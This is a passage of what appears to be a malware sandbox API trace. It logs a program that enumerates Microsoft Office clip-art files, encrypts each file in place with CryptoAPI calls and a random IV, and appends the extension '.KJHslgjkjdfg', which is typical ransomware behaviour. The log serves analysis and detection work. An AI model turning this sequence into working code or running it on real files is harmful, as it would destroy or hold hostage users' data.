hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0173.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.107] GetProcessHeap () returned 0x2a0000 [0173.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.108] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.112] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.112] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.112] GetProcessHeap () returned 0x2a0000 [0173.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.112] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.112] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.112] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.112] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.113] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x36b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x36b8, lpOverlapped=0x0) returned 1 [0173.114] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36c0, dwBufLen=0x36c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36c0) returned 1 [0173.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.114] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x36c0, lpOverlapped=0x0) returned 1 [0173.114] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.114] SetEndOfFile (hFile=0x114) returned 1 [0173.117] GetProcessHeap () returned 0x2a0000 [0173.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.117] GetProcessHeap () returned 0x2a0000 [0173.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.kjhslgjkjdfg")) returned 1 [0173.118] CloseHandle (hObject=0x114) returned 1 [0173.118] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0173.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.119] GetProcessHeap () returned 0x2a0000 [0173.119] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.119] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.121] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.121] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.121] GetProcessHeap () returned 0x2a0000 [0173.121] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.121] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.121] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.121] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.121] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.121] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.122] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.122] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.122] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.122] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f0c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f0c, lpOverlapped=0x0) returned 1 [0173.123] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f10) returned 1 [0173.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.123] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f10, lpOverlapped=0x0) returned 1 [0173.123] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.123] SetEndOfFile (hFile=0x114) returned 1 [0173.126] GetProcessHeap () returned 0x2a0000 [0173.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.126] GetProcessHeap () returned 0x2a0000 [0173.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.kjhslgjkjdfg")) returned 1 [0173.127] CloseHandle (hObject=0x114) returned 1 [0173.128] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0173.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.129] GetProcessHeap () returned 0x2a0000 [0173.129] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.129] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.129] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.129] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.131] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.131] GetProcessHeap () returned 0x2a0000 [0173.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.131] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.132] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.132] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.132] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.132] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.132] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a88, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a88, lpOverlapped=0x0) returned 1 [0173.133] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a90, dwBufLen=0x1a90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a90) returned 1 [0173.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.133] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a90, lpOverlapped=0x0) returned 1 [0173.133] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.133] SetEndOfFile (hFile=0x114) returned 1 [0173.136] GetProcessHeap () returned 0x2a0000 [0173.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.136] GetProcessHeap () returned 0x2a0000 [0173.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.kjhslgjkjdfg")) returned 1 [0173.137] CloseHandle (hObject=0x114) returned 1 [0173.137] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0173.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.138] GetProcessHeap () returned 0x2a0000 [0173.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.138] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.138] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.138] GetProcessHeap () returned 0x2a0000 [0173.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.138] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.138] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.138] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.140] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.140] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.140] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.140] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.140] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6890, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6890, lpOverlapped=0x0) returned 1 [0173.141] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6890, dwBufLen=0x6890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6890) returned 1 [0173.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.142] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6890, lpOverlapped=0x0) returned 1 [0173.142] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.142] SetEndOfFile (hFile=0x114) returned 1 [0173.144] GetProcessHeap () returned 0x2a0000 [0173.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.144] GetProcessHeap () returned 0x2a0000 [0173.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.kjhslgjkjdfg")) returned 1 [0173.145] CloseHandle (hObject=0x114) returned 1 [0173.145] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0173.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.146] GetProcessHeap () returned 0x2a0000 [0173.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.146] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.146] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.146] GetProcessHeap () returned 0x2a0000 [0173.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.146] 